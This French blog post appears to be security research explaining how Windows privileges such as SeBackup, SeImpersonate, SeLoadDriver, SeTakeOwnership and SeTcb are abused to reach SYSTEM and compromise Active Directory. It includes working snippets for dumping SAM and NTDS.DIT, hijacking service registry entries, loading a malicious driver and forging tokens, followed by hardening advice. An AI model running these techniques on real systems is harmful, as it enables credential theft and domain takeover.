Abus de privilèges sous Windows : comment les attaquants passent de comptes dotés de droits dangereux à la compromission d'Active Directory

J'ai passé de nombreuses années à étudier la manière dont les cyberattaquants exploitent les privilèges Windows pour élever leur niveau d'accès, passant de comptes à faibles privilèges jusqu'à NT AUTHORITY\SYSTEM. Ce qui n'était au départ qu'une simple curiosité pour quelques techniques élémentaires d'usurpation d'identité s'est progressivement transformé en un catalogue systématique de techniques d'attaque axées sur l'exploitation abusive des privilèges Windows. Bon nombre de ces techniques restent d'actualité, même dans des environnements modernes et mis à jour.

Dans cet article, je vais vous présenter les privilèges Windows les plus intéressants du point de vue d'un pirate : ceux qui permettent une élévation directe des privilèges. Poursuivez votre lecture pour découvrir :

• Quels sont les privilèges qui exposent le plus votre environnement à des risques ?
• Pourquoi les pirates s'attaquent-ils à ces privilèges ?
• Comment les pirates peuvent-ils exploiter ces privilèges pour obtenir des privilèges SYSTEM locaux, souvent avec étonnamment peu d'efforts ?

Comment les privilèges Windows peuvent accroître vos risques en matière de cybersécurité

Depuis 2018, je m’entretiens avec des professionnels de l’informatique et de la cybersécurité au sujet des dangers liés à l’abus de privilèges sous Windows. De la manipulation classique des jetons à la famille d’exploits « Potato », ce sujet a occupé une place prépondérante dans la recherche sur l’escalade des privilèges locaux sous Windows au cours des dix dernières années.

Pourtant, ce message reste plus que jamais d'actualité. Beaucoup sous-estiment encore ces privilèges, leur fonctionnement et le niveau de contrôle qu'ils peuvent offrir aux attaquants. Ce risque persiste pour deux raisons :

• Les privilèges ne sont pas des autorisations. Les organisations qui procèdent à un audit minutieux de leurs listes de contrôle d'accès (ACL) et de leurs délégations négligent souvent les privilèges attribués aux comptes d'utilisateurs non privilégiés.
• Microsoft ne corrige pas les abus de privilèges. Abuser d'un privilège dont vous disposez légitimement ne constitue pas une violation des limites de sécurité. Les techniques que je décris dans cet article, y compris les exploits « Potato », ont perduré pendant de nombreuses années et traversé d'innombrables versions de Windows, car elles s'appuient sur des fonctionnalités et non sur des failles. Par conséquent, vos défenses doivent être d'ordre architectural.

L'abus de privilèges est généralement associé à l'escalade de privilèges locaux (LPE). Mais nous savons tous qu'une compromission complète du domaine commence souvent précisément par là : une escalade de privilèges locaux qui permet à un attaquant d'obtenir le niveau d'accès le plus élevé sur une seule machine. À partir de là, les attaquants peuvent souvent exploiter ces droits élevés, des identifiants, des jetons ou d'autres ressources exposées pour se déplacer latéralement et poursuivre leur escalade au sein de votre environnement.

Le risque devient encore plus grave dans les environnements partagés. Pensez à un serveur RDP, à un hôte intermédiaire ou à tout autre système sur lequel plusieurs utilisateurs interagissent. Obtenir des droits d'administration locaux sur une telle machine peut avoir des conséquences qui vont bien au-delà de l'hôte lui-même.

Si vous exécutez whoami /priv et si vous souhaitez découvrir plus qu'une poignée d'articles, ce blog est fait pour vous.

Que sont les privilèges Windows ?

Microsoft définit un privilège comme «le droit d'un compte, tel qu'un compte utilisateur ou un compte de groupe, d'effectuer diverses opérations liées au système sur l'ordinateur local, telles que l'arrêt du système, le chargement de pilotes de périphériques ou la modification de l'heure système ».

Dans la pratique, les privilèges constituent un mécanisme qui vient s'ajouter au modèle traditionnel d'autorisation basé sur les listes de contrôle d'accès (ACL), et qui peut parfois le remplacer. Il est essentiel de comprendre certains points du point de vue de la sécurité :

• Les privilèges sont attribués via Attribution des droits d'utilisateur dans l'éditeur de stratégie locale ou de groupe (Figure 1). Mais ils peuvent également être gérés par programmation via l'API Windows, à l'aide de fonctions telles que LsaOpenPolicy() et LsaAddAccountRights().

• Les privilèges peuvent être activés ou désactivés. Un privilège par défaut est un privilège qui est activé automatiquement dès que le système estime qu'il est nécessaire.
• Certains privilèges prévalent explicitement sur les autorisations des objets (ACL). C'est là la cause première de la plupart des abus évoqués ici.
• La plupart des privilèges ne sont accessibles qu'au sein d'un processus à haut niveau d'intégrité (IL), ce qui signifie qu'il faut disposer d'un shell avec des privilèges élevés pour les utiliser. Cependant, une fois que vous disposez de ce shell avec des privilèges élevés, vous pouvez en abuser à votre guise.
• La consigne la plus importante de cette étude est la suivante : whoami /priv, qui affiche tous les privilèges attribués au jeton actuel, ainsi que leur état (activé ou désactivé). Un privilège activé est prêt à être utilisé. Pour activer un privilège désactivé, il suffit d'effectuer un appel API vers AdjustTokenPrivileges() pour l'activer, sauf s'il s'agit d'un privilège par défaut.

Que sont les jetons d'accès Windows ?

Pour comprendre l'abus de privilèges, il faut d'abord comprendre ce que sont les jetons d'accès. Il s'agit d'objets que Windows utilise pour représenter le contexte de sécurité d'un processus ou d'un thread (figure 2).

Un système crée un jeton au cours du processus de connexion via NtCreateToken(). Ce jeton est ensuite utilisé chaque fois qu'un processus ou un thread tente d'interagir avec un objet sécurisé. Lorsqu'un nouveau processus ou thread est créé, une copie du jeton de son parent lui est attribuée.

Un jeton contient, entre autres :

• Le SID de l'utilisateur et du propriétaire
• Les SID de tous les groupes auxquels l'utilisateur appartient
• Le SID de connexion
• Le DACL appliqué lorsque l'utilisateur crée des objets sécurisables sans spécifier de descripteur de sécurité
• Le type de jeton (principal ou d'usurpation d'identité)
• Niveau d'usurpation d'identité actuel : SecurityAnonymous, SecurityIdentification, SecurityImpersonation ou SecurityDelegation
• La liste complète des privilèges dont dispose l'utilisateur ou ses groupes (figure 3)

Il existe toutefois une contrainte importante : une fois que le PrimaryTokenFrozen Si le bit est activé sur un jeton, vous ne pouvez pas lui attribuer de nouveaux privilèges. Vous pouvez uniquement activer ou désactiver les privilèges déjà présents, via AdjustTokenPrivileges. Vous pouvez toutefois modifier le type de jeton en utilisant DuplicateToken, ce qui ouvre la voie à des cas d'usurpation d'identité.
Cette conception implique que les privilèges dont vous disposez sont en grande partie déterminés lors de la connexion. La question qui se pose alors est la suivante : Qui s'est connecté et avec quoi ?

Quels comptes Windows les pirates ciblent-ils ?

Avant d'aborder les privilèges spécifiques, il est utile de savoir quels comptes disposent par défaut de privilèges dangereux. En voici une brève liste :

• Les administrateurs et les utilisateurs du système local disposent, pour l'essentiel, de tous les privilèges.
• Les groupes intégrés, tels que les opérateurs de sauvegarde, les opérateurs de serveur et les opérateurs d'impression, disposent d'un ensemble de privilèges puissants qui sont souvent négligés.
• Les comptes de service locaux et réseau disposent généralement des privilèges « SeImpersonatePrivilege » et « SeAssignPrimaryTokenPrivilege », qui suffisent pour accéder au niveau SYSTEM.
• Les comptes de services gérés et les comptes virtuels disposent des mêmes privilèges que les comptes de service.
• Les utilisateurs d'applications tierces, tels que les pools d'applications IIS, les comptes de service SQL Server et les agents de sauvegarde, sont souvent configurés avec davantage de privilèges que nécessaire.

Une fois encore, Microsoft considère l'abus de privilèges légitimes comme une violation des limites de sécurité, et non comme une violation des limites de sûreté. Les techniques d'abus de privilèges ne sont pas considérées comme des bogues et ne font donc pas l'objet de correctifs.

Comment les pirates identifient et exploitent les privilèges Windows

Alors, comment les pirates parviennent-ils à accéder à des comptes dotés de privilèges exploitables ? Le processus implique généralement une ou plusieurs des approches suivantes :

• Compromettre des comptes de service, par exemple en raison de configurations de service inadéquates, de l'exécution de code à distance dans des applications Web ou d'injections SQL conduisant à xp_cmdshell exécution
• Interception de l'authentification NTLM ou Kerberos à l'aide de techniques telles que la coercition, les attaques par relais ou la capture d'identifiants
• Le vol d'identifiants ou la pratique du du « kerberoasting » en récupérant les informations relatives aux comptes de service et en craquant les hachages hors ligne
• Manipulation de jetons par usurpation d'identité à partir de processus privilégiés ou par vol direct de ces jetons
• Écritures partielles ou arbitraires en utilisant la manipulation directe des objets du noyau (DKOM), qui permet aux attaquants disposant de primitives d'écriture au niveau du noyau, souvent obtenues via des pilotes vulnérables, de contourner complètement les API du mode utilisateur. En localisant le _TOKEN structure via _EPROCESS et en modifiant les champs de privilèges, les pirates peuvent ajouter et activer des privilèges supplémentaires (Figure 4).

Quels sont les privilèges Windows visés par les pirates ?

Maintenant que vous disposez d'un aperçu du risque que représente l'abus de privilèges sous Windows, voyons en détail quels sont les privilèges que les attaquants sont les plus susceptibles de cibler, pourquoi ces privilèges sont attractifs pour les acteurs malveillants, et comment ils sont exploités.

SeCreateTokenPrivilege : quelqu'un a des jetons d'accès ?

SeCreateTokenPrivilege est un privilège puissant lié aux jetons qui permet à un processus d'appeler des API de création de jetons, notamment ZwCreateToken, pour créer un jeton d'accès entièrement personnalisé avec les privilèges et les appartenances à des groupes de votre choix :

      NTSTATUS ZwCreateToken(
PHANDLE                            TokenHandle,
ACCESS_MASK                     DesiredAccess,
POBJECT_ATTRIBUTES         ObjectAttributes,
TOKEN_TYPE                        Type,
PLUID                                   AuthenticationId,
PLARGE_INTEGER                 ExpirationTime,
PTOKEN_USER                      User,
PTOKEN_GROUPS                Groupes,
PTOKEN_PRIVILEGES            Privilèges,
PTOKEN_OWNER                 Propriétaire,
PTOKEN_PRIMARY_GROUP Groupe principal,
PTOKEN_DEFAULT_DACL     DACL par défaut,
PTOKEN_SOURCE                Source
);

Sous Windows Server 2016 / Windows 10 version 1809 et antérieures, le jeton ainsi obtenu peut être utilisé pour usurper l'identité de threads sans nécessiter de privilèges d'usurpation d'identité supplémentaires. Microsoft a corrigé cette faille spécifique dans les versions ultérieures de Windows, mais le jeton ainsi obtenu peut toujours être utilisé pour écrire et écraser des fichiers protégés — une fonctionnalité utile pour les attaquants, même dans des scénarios restreints.

SeDebugPrivilege : l'accès SYSTEM en quelques mots

Le privilège « SeDebugPrivilege » est l'un des plus puissants du modèle de privilèges de Windows. Il permet à son détenteur d'associer un débogueur à n'importe quel processus, quel que soit le propriétaire de ce processus ou les listes de contrôle d'accès (ACL) qui le protègent, et de lire ou de modifier la mémoire de ce processus.

Il est important de noter que SeDebugPrivilege contourne les vérifications DACL habituelles. Il ne contourne pas les mécanismes de protection des processus (par exemple, PPL, processus signés ELAM), mais ceux-ci ne représentent qu'une petite fraction des processus en cours d'exécution sur un système type.

Parmi les scénarios d'abus, on peut citer :

• Injection de code. Les attaquants peuvent injecter du code malveillant dans des processus privilégiés en utilisant la séquence classique VirtualAlloc() → WriteProcessMemory() → CreateRemoteThread(). Cible lsass.exe, winlogon.exe, ou n'importe quel processus NT AUTHORITY\SYSTEM, et vous obtenez l'exécution de code arbitraire au niveau de privilège le plus élevé.
• Usurpation du processus parent. Les attaquants peuvent créer un nouveau processus et désigner un processus privilégié comme processus parent, ce qui permet au processus enfant d’hériter du jeton privilégié (figure 5).

Dans la pratique, tout service ou application qui accorde à un compte le privilège SeDebugPrivilege lui confère de fait un accès de type SYSTEM. Il existe peu de raisons légitimes justifiant l'attribution généralisée de ce privilège.

SeBackupPrivilege et SeRestorePrivilege : de l'élévation de privilèges locale à l'extraction du fichier NTDS.DIT

Les attaquants peuvent exploiter les privilèges « SeBackupPrivilege » et « SeRestorePrivilege » pour accéder à des fichiers sensibles et, dans certains cas, extraire la base de données NTDS.DIT des contrôleurs de domaine (DC), ce qui pourrait entraîner une compromission totale d'Active Directory… un scénario inquiétant.

SeBackupPrivilege : la voie rapide vers l'extraction des identifiants

La description figurant dans la documentation Microsoft précise que SeBackupPrivilege «permet à l'utilisateur de contourner les droits d'accès aux fichiers et aux répertoires afin de sauvegarder le système.« En d’autres termes, ce privilège confère un accès en lecture à n’importe quel fichier du système, indépendamment des listes de contrôle d’accès (ACL), à condition d’ouvrir le fichier avec FILE_FLAG_BACKUP_SEMANTICS.

L'abus le plus évident consiste à vider les branches du registre Windows nécessaires à l'extraction hors ligne des identifiants :

reg save HKLM\SYSTEM c:\temp\system.hive
reg save HKLM\SAM c:\temp\sam.hive

Une fois qu'un attaquant dispose de ces deux fichiers, il peut utiliser n'importe quel outil hors ligne pour extraire les hachages NTLM locaux. Sur un serveur, où la réutilisation des mots de passe d'administrateur local reste une pratique bien trop courante, cette capacité peut offrir aux acteurs malveillants un point d'ancrage leur permettant de se déplacer latéralement à travers tout un segment (figure 6).

Au-delà du registre, la fonction SeBackupPrivilege peut être utilisée pour lire n'importe quel fichier auquel le système de fichiers refuserait normalement l'accès :

      source = CreateFile(
L"c:\users\administrator\supersecretfile4admins.doc",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);

La clé, c'est le FILE_FLAG_BACKUP_SEMANTICS indicateur qui permet à Windows de reconnaître une opération de sauvegarde et de contourner l'évaluation normale des DACL.

SeRestorePrivilege : accès en écriture sans restriction

Alors que SeBackupPrivilege confère un accès en lecture à tout élément, SeRestorePrivilege confère un accès en écriture à tout élément, y compris les fichiers protégés par TrustedInstaller et les clés de registre du système. Deux appels d'API permettent d'activer ce comportement :

• CreateFile() avec FILE_FLAG_BACKUP_SEMANTICS
• RegCreateKeyEx() avec REG_OPTION_BACKUP_RESTORE

Avec un accès en écriture illimité, la surface d'attaque devient immense. Une technique simple et souvent exploitée consiste à modifier un service Windows afin d'exécuter une charge utile contrôlée par l'attaquant. Il suffit aux attaquants de :

1. Créer une DLL ou un fichier exécutable de service malveillant.
2. Utilisation RegCreateKeyEx() avec REG_OPTION_BACKUP_RESTORE pour remplacer le fichier du service ServiceDLL valeur du registre :
   std::string buffer = "c:\windows\system32\hackerservice.dll";
LSTATUS stat = RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
"SYSTEM\CurrentControlSet\Services\dmwappushservice\Parameters",
0, NULL, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, NULL, &hk, NULL
);
stat = RegSetValueExA(
hk, "ServiceDLL", 0, REG_EXPAND_SZ,
(const BYTE*)buffer.c_str(), buffer.length() + 1
);
3. Utilisation CreateFile() avec FILE_FLAG_BACKUP_SEMANTICS pour copier la DLL dans le répertoire C:\Windows\System32. (L'emplacement peut être n'importe où ; cet exemple montre simplement que ce privilège permet d'écrire dans des fichiers système protégés, voire de les écraser.)
4. Redémarrez le service cible. Le service, s'exécutant sous l'identité SYSTEM, charge désormais la DLL de l'attaquant.

Figure 7 présente un exemple de cette technique en utilisant dmwappushservice, qui est présent par défaut, s'exécute sous l'identité SYSTEM et peut être lancé par n'importe quel utilisateur. Cependant, cette même technique peut être utilisée pour exploiter n'importe quel service.

Opérateurs de sauvegarde : deux fois plus de privilèges, deux fois plus de risques

Les membres du groupe intégré « Backup Operators » disposent à la fois des privilèges « SeBackupPrivilege » et « SeRestorePrivilege ». Plus important encore, ils sont autorisés à se connecter localement aux contrôleurs de domaine, une capacité qui comporte un risque largement sous-estimé dans la plupart des environnements Active Directory.

Cette combinaison signifie que tout attaquant parvenant à s'introduire dans le groupe « Backup Operators » peut sauvegarder le fichier NTDS.DIT directement à partir d'un contrôleur de domaine à l'aide d'outils tels que wbadmin.exe:

      wbadmin start backup -backuptarget:e: -include:c:\windows\ntds
wbadmin get versions
wbadmin start recovery -version:07/12/2025-11:09 -itemtype:file
-items:c:\windows\ntds\ntds.dit -recoverytarget:c:\temp\srvdc1 -notrestoreacl
reg save HKLM\SYSTEM c:\temp\system

La méthode intégrée « diskshadow.exe » fonctionne tout aussi bien et est souvent négligée par les défenseurs :

      set metadata C:\temp\metadata.cab
set context clientaccessible
set context persistent
begin backup
add volume c: alias mydrive
create
expose %mydrive% z:

Notez que cette technique ne fonctionne pas avec ntdsutil.exe, qui nécessite des droits d'administrateur.

Une fois qu'un attaquant dispose du fichier NTDS.DIT et de la ruche SYSTEM, il peut utiliser des outils tels que DSInternals ou impacket-secretsdump pour extraire hors ligne l'ensemble des identifiants du domaine, y compris le hachage krbtgt nécessaire pour lancer une attaque de type « Golden Ticket ».

De plus, grâce à ces deux privilèges, un attaquant qui parvient à s'infiltrer dans le groupe « Backup Operators » peut définir la propriété et les droits d'accès de n'importe quel fichier ou dossier du système, ce qui lui ouvre la voie vers le compte SYSTEM par la seule manipulation du système de fichiers.

SeImpersonatePrivilege et SeAssignPrimaryTokenPrivilege : pourquoi les exploits « Potato » ne disparaissent pas

Ces deux privilèges sont ceux qui font le plus souvent l'objet d'abus dans les opérations réelles, et c'est pour cette raison que la famille d'exploits « Potato » a été créée.

• SeImpersonatePrivilege («Se faire passer pour un client après l'authentification« ») permet à un thread de se faire passer pour n'importe quel jeton d'accès via SetThreadToken(), ImpersonateLoggedOnUser()ou CreateProcessWithToken().
• SeAssignPrimaryTokenPrivilege («Attribuer le jeton principal d'un processus« ») permet à un processus de créer un processus fils doté d'un jeton principal différent via CreateProcessAsUser(). Ce privilège est également disponible dans un shell IL standard de taille moyenne.

Ces deux privilèges sont généralement attribués aux comptes de service, aux identités des pools d'applications IIS, aux comptes de service SQL Server et à d'autres entités similaires. En résumé : si vous disposez d'un privilège RCE en tant que compte de service, vous disposez presque certainement d'au moins l'un de ces privilèges.

Mais comment les pirates parviennent-ils à se procurer des jetons privilégiés pour usurper l'identité d'un utilisateur ? Il existe plusieurs techniques, par exemple :

• Création d'un canal nommé, en forçant un processus privilégié à s'y connecter, puis en appelant ImpersonateNamedPipeClient() pour obtenir le jeton de l'appelant
• Utilisation des rappels DCOM/RPC via CoImpersonateClient(), RpcImpersonateClient()
• En utilisant les exploits « Potato », une famille de techniques bien connues d'élévation de privilèges locaux (par exemple, RottenPotato, JuicyPotato, SweetPotato, GodPotato) qui exploitent ces privilèges en redirigeant l'authentification COM/RPC de niveau SYSTEM vers un écouteur contrôlé par l'attaquant

Cette technique remonte à une observation faite en 2016 par James Forshaw :

« Les connexions DCOM DCE/RPC locales peuvent être redirigées vers un socket TCP en écoute, ce qui permet d'accéder à la requête d'authentification NTLM de l'utilisateur LocalSystem ; celle-ci peut ensuite être réutilisée auprès du service d'activation DCOM local afin d'élever les privilèges. »

Au cours des dix dernières années, cette faille principale a été réimplémentée, adaptée et réutilisée dans le cadre d'une variété remarquable de techniques qui, ensemble, forment la famille Potato. Le mécanisme général, commun à toutes les variantes, suit la structure suivante :

1. Lancez un écouteur local sur un port TCP pour qu'il fasse office de faux point de terminaison COM ou RPC.
2. Déclencher un CLSID en instanciant une classe COM qui s'exécute sous l'identité NT AUTHORITY\SYSTEM.
3. Démarshalage forcé via CoGetInstanceFromIStorage, en transmettant un message soigneusement rédigé IStorage OBJREF en montrant du doigt 127.0.0.1: <listener>. Le serveur SYSTEM COM tente de se connecter au listener et effectue l'authentification sortante à l'aide du protocole NTLM.
4. Intercepter la négociation NTLM au niveau local via SSPI (AcceptSecurityContext → QuerySecurityContextToken) pour obtenir un jeton d'usurpation d'identité « SYSTEM ».
5. Usurper l'identité du jeton et obtenir des privilèges supérieurs via CreateProcessWithTokenW ou CreateProcessAsUser pour lancer un shell en tant que SYSTEM.
   

L'idée maîtresse est ingénieuse : le CLSID amène SYSTEM à lancer une authentification sortante, CoGetInstanceFromIStorage redirige cette authentification vers le listener de l'attaquant, et le relais NTLM local capture le jeton. Il ne s'agit pas d'une vulnérabilité au sens traditionnel du terme… mais simplement de privilèges qui fonctionnent exactement comme prévu.

La figure 8 montre comment l'outil JuicyPotatoNG peut être utilisé pour lancer un shell SYSTEM en exploitant la fonction SeAssignPrimaryTokenPrivilege à partir d'un shell s'exécutant dans un IL de niveau intermédiaire.

SeLoadDriverPrivilege : du pilote de périphérique à la compromission totale du système

Le privilège « SeLoadDriverPrivilege » détermine quels utilisateurs peuvent charger et décharger dynamiquement des pilotes de périphériques ou d'autres codes en mode noyau. Ce privilège mérite une attention particulière, car les membres du groupe de domaine « Printer Operators » en disposent par défaut sur les contrôleurs de domaine (DC).

Le mode opératoire de l'attaque est bien connu : charger un pilote de noyau signé mais vulnérable, puis l'exploiter depuis l'espace utilisateur pour lire ou écrire dans la mémoire du noyau, ce qui permet le vol de jetons, l'obtention de privilèges, le contournement des politiques de protection des processus (PPL), la désactivation des antivirus et des solutions EDR, ou encore l'exécution arbitraire en mode noyau.

Cette technique classique repose sur le fait que les utilisateurs peuvent créer des entrées de registre dans leur ruche actuelle (HKCU), et NtLoadDriver() accepte les chemins de registre construits à partir du SID de l'utilisateur, ce qui permet à un utilisateur sans privilèges d'enregistrer un service de pilote du noyau sans modifier HKLM :

      std::string data = "\??\C:\TEMP\evildriver.sys";
RegCreateKeyExA(HKEY_CURRENT_USER,
"SYSTEM\CurrentControlSet\Services\Evil",
0, NULL, NULL, KEY_SET_VALUE, NULL, &hk, NULL);
RegSetValueExA(hk, "ImagePath", 0, REG_EXPAND_SZ,
(const BYTE)data.c_str(), data.length() + 1); RegSetValueExA(hk, "Type", 0, REG_DWORD, (const BYTE)&val, sizeof(val));

WCHAR winregPath[256] ;
wcscpy(winregPath, L"\Registry\User\");
wcscat(winregPath, sidstring);
wcscat(winregPath, L"\System\CurrentControlSet\Services\Evil");
RtlInitUnicodeString(&DriverServiceName, winregPath);
status = NtLoadDriver(&DriverServiceName);

Microsoft a désormais bloqué les emplacements alternatifs du Registre, mais il existe toujours des chemins accessibles en écriture sous HKLM\System.

Il n'est pas rare que les GPO accordent le privilège « SeLoadDriverPrivilege » à des groupes très larges, probablement en raison de l'idée erronée selon laquelle ce privilège est nécessaire pour permettre aux utilisateurs d'installer des imprimantes. Il en résulte une exposition inutile de ce privilège, qui offre aux attaquants un accès direct à l'exécution de code au niveau du noyau.

SeManageVolumePrivilege : accès à la modification des listes de contrôle d'accès (ACL)

Le privilège « SeManageVolumePrivilege » permet à un utilisateur d'effectuer des opérations liées aux volumes, telles que la défragmentation, le montage ou le démontage de volumes. Ce privilège est disponible dans un shell IL de niveau moyen. Du point de vue d'un attaquant, l'exploitation de ce privilège ouvre la voie à plusieurs fonctionnalités utiles :

• Le montage de volumes contenant des données sensibles, ce qui pourrait permettre de contourner les mécanismes de contrôle d'accès régissant la manière dont ces données sont exposées via le système de fichiers
• La manipulation des systèmes de fichiers au niveau des volumes, y compris la modification des droits d'accès sur des volumes entiers (figure 9) — un privilège qui peut permettre à un attaquant, par exemple, de modifier la liste de contrôle d'accès (ACL) sur l'ensemble du lecteur C:\ puis d'utiliser d'autres techniques pour créer des chemins d'accès en écriture vers des zones du système qui seraient autrement protégées

Bien que ce privilège soit moins fréquent en pratique que « SeImpersonatePrivilege » ou « SeBackupPrivilege », sa présence sur un compte non-administrateur doit être considérée comme un risque grave.

SeRelabelPrivilege : intégrité réduite, risque accru

SeRelabelPrivilege est un privilège peu connu mais intéressant. Selon la documentation de Microsoft, ce privilège «détermine quels comptes utilisateur peuvent modifier l'étiquette d'intégrité d'objets, tels que des fichiers, des clés de registre ou des processus appartenant à d'autres utilisateurs ».

Sans ce privilège, un processus ne peut abaisser l'étiquette d'intégrité que des objets dont il est propriétaire. Avec le privilège SeRelabelPrivilege, un processus peut modifier les étiquettes d'intégrité des objets appartenant à d'autres utilisateurs, y compris en élevant ces étiquettes au-delà du niveau d'intégrité du processus en cours. En d'autres termes :

• SeRelabelPrivilege vous permet de prendre possession d'une ressource même si son niveau d'intégrité (IL) est supérieur au vôtre.
• Une fois que vous en aurez pris possession, vous pourrez vous accorder un accès complet au processus et aux jetons.
• Du point de vue de l'exploitation, le résultat est similaire à celui de SeDebugPrivilege.
• La modification de l'étiquette obligatoire n'est qu'une conséquence.

La raison d'être initiale de ce privilège reste floue, mais son impact, lui, ne fait aucun doute. Il vous permet de prendre possession d'objets situés au-dessus de votre niveau d'intégrité (figure 10), ce qui en fait l'un des privilèges les plus dangereux et les plus sous-estimés du modèle de sécurité Windows.

Toute affectation en dehors des comptes administratifs strictement contrôlés doit être examinée avec soin et considérée comme un signal d'alerte.

SeTakeOwnershipPrivilege : Vous nous appartenez désormais

Ce privilège fait exactement ce que son nom indique : il permet à son détenteur de s'approprier tout objet sécurisable du système. Les deux appels API concernés utilisent tous deux la OWNER_SECURITY_INFORMATION drapeau :

• SetSecurityInfo()
• SetNamedSecurityInfo()

Les types d'objets pouvant être ciblés sont très variés : fichiers, imprimantes, partages, services, clés de registre et objets du noyau.

Une fois la propriété établie, on peut appliquer les mêmes techniques de manipulation des fichiers et du registre que celles utilisées dans l'exploitation de SeRestorePrivilege. Un exemple concret consiste à cibler le msiserver Service (Windows Installer) :

Étape 1. Prenez possession de la clé de registre du service :

      wchar_t infile[] = L"SYSTEM\CurrentControlSet\Services\msiserver";
PSID UserSid = GetCurrentUserSID();
dwRes = SetNamedSecurityInfoW(
infile,
SE_REGISTRY_KEY,
OWNER_SECURITY_INFORMATION,
UserSid, NULL, NULL, NULL
);

Étape 2. Modifiez les droits d'accès de la clé de registre afin d'accorder un accès complet :

      ea[0].grfAccessPermissions = KEY_ALL_ACCESS;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = NO_INHERITANCE;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea[0].Trustee.ptstrName = (LPTSTR)pSIDEveryone;
SetEntriesInAcl(NUM_ACES, ea, NULL, &pACL);

Étape 3. Modifier le fichier de configuration du service ImagePath pour exécuter une commande arbitraire :

      std::string buffer = "cmd.exe /c net localgroup administrators hacker /add";
stat = RegSetValueExA(
hk, "ImagePath", 0, REG_EXPAND_SZ,
(const BYTE*)buffer.c_str(), buffer.length() + 1
);

Lorsque l'utilisateur lance le service, celui-ci exécute la commande contrôlée par le pirate sous le compte SYSTEM.

SeTCBPrivilege : Usurpation d'identité

SeTCBPrivilege est l'un des privilèges les plus inhabituels de cette liste. La documentation le décrit comme «faire partie intégrante du système d'exploitation,», mais cela se traduit concrètement par la possibilité d’utiliser LsaLogonUser() pour usurper l'identité de n'importe quel utilisateur, sans avoir besoin de ses identifiants.

Ce mécanisme est appelé « Service For User Logon » (S4ULogon) ; il s'agit d'une fonctionnalité qui permet à un processus disposant du privilège SeTCBPrivilege d'obtenir un jeton de sécurité pour un utilisateur quelconque. Il est important de noter que le processus appelant peut demander que des appartenances à des groupes ou des privilèges supplémentaires soient ajoutés au jeton obtenu, y compris des groupes auxquels l'utilisateur n'appartient pas réellement :

      pS4uLogon->MessageType = MsV1_0S4ULogon;
// SzUsername = UTILISATEUR CIBLE À USURPER
InitUnicodeString(&pS4uLogon->UserPrincipalName, szusername, pbPosition);
InitUnicodeString(&pS4uLogon->DomainName, szDomain, pbPosition);

// Ajouter S-1-5-32-544 (Administrateurs locaux) au jeton
ConvertStringSidToSid("S-1-5-32-544", &pExtraSid);
pGroups->Groups[pGroups->GroupCount].Attributes =
SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid;
Status = LsaLogonUser(…)

Le jeton d'usurpation d'identité ainsi obtenu, valable dans le contexte de la machine locale, peut être utilisé pour usurper l'identité de threads sans nécessiter de privilèges supplémentaires tels que SeImpersonatePrivilege. Cela fait de SeTcbPrivilege une primitive autonome d'élévation de privilèges.

Sous PowerShell, le chemin d'accès à Kerberos S4ULogon se présente comme suit :

      $ident = [System.Security.Principal.WindowsIdentity]::new("administrator@domain.local")
$ctx = $ident.Impersonate()
try {
[System.IO.File]::WriteAllText("C:\Windows\System32\text.txt", "hello from Domain Admin")
}
finally {
$ctx.Undo()
}

Par défaut, seul le compte SYSTEM dispose de ce privilège. Il n'existe aucune raison légitime de l'accorder à d'autres comptes. Toute attribution à un compte autre que SYSTEM doit être considérée comme une erreur de configuration ou un signe de compromission.

Réduire les risques d'abus de privilèges sous Windows : mesures pratiques pour les environnements Active Directory

Voici ce que vous pouvez faire dès aujourd'hui pour réduire les risques d'abus de privilèges :

• La commande whoami /priv C'est l'une des premières actions qu'un attaquant effectue après s'être introduit dans le système. C'est donc également l'une des premières vérifications que vous devez effectuer lorsque vous évaluez le niveau de sécurité d'un compte sensible.
• Passez en revue tous les objets de stratégie de groupe (GPO) qui attribuent des privilèges via « Configuration de l’ordinateur » → « Paramètres Windows » → « Paramètres de sécurité » → « Stratégies locales » → « Attribution des droits utilisateur » sur l’ensemble du domaine. Vérifiez les attributions effectives sur tous les systèmes, en accordant une attention particulière aux actifs de niveau 0. Il s’agit du principal vecteur d’octroi involontaire de privilèges. Vérifiez non seulement ce qui est explicitement configuré, mais aussi la stratégie qui en résulte, car l’héritage et la priorité des GPO produisent souvent des attributions qu’aucun administrateur n’avait prévues. Supprimez tout ce qui n’est pas justifié d’un point de vue opérationnel.
• Vérifiez l'appartenance aux groupes intégrés dotés d'ensembles de privilèges puissants : opérateurs de sauvegarde, opérateurs d'impression, opérateurs de serveur, opérateurs de compte.
• Les comptes de service doivent fonctionner avec le minimum de privilèges requis. Par défaut, les comptes de service disposent du privilège SeImpersonatePrivilege. Il est possible de restreindre les privilèges attribués via le Required Privileges clé de registre dans la configuration du service ; il s'agit d'une bonne pratique de renforcement de la sécurité. Cependant, sachez qu'un attaquant peut récupérer ces privilèges dans certaines conditions ; considérez donc cette étape comme un maillon d'une stratégie plus large de défense en profondeur plutôt que comme une mesure de protection complète.
• Surveiller pour whoami /priv l'exécution et pour les appels d'API liés à la gestion des jetons (DuplicateToken, ImpersonateLoggedOnUser, CreateProcessWithToken, LsaLogonUser) dans vos données de télémétrie EDR.
• Considérez tout compte capable de se connecter localement à un contrôleur de domaine comme un actif de niveau 0, qu'il fasse partie ou non du groupe « Domain Admins ».

Ne laissez pas l'utilisation abusive des privilèges sous Windows mettre votre entreprise en danger

Il convient de le rappeler : comme les privilèges abordés dans cet article fonctionnent conformément à leur conception, le risque d’abus de privilèges sous Windows — et les techniques d’attaque que cet abus rend possibles — existe même dans des environnements correctement mis à jour. Des acteurs malveillants peuvent utiliser ces techniques pour compromettre Active Directory et étendre leurs privilèges à l’ensemble de votre organisation. Ne sous-estimez pas ce risque ; prenez dès aujourd’hui les mesures nécessaires pour protéger votre cyber-résilience.

Plus de recherches spécialisées

• Bibliothèque de recherche sur la sécurité des identités de Semperis
• Catalogue des menaces liées à l'identité de Semperis
• Ce qu'il faut savoir : Élévation de privilèges à distance dans Windows Admin Center (CVE-2026-26119)

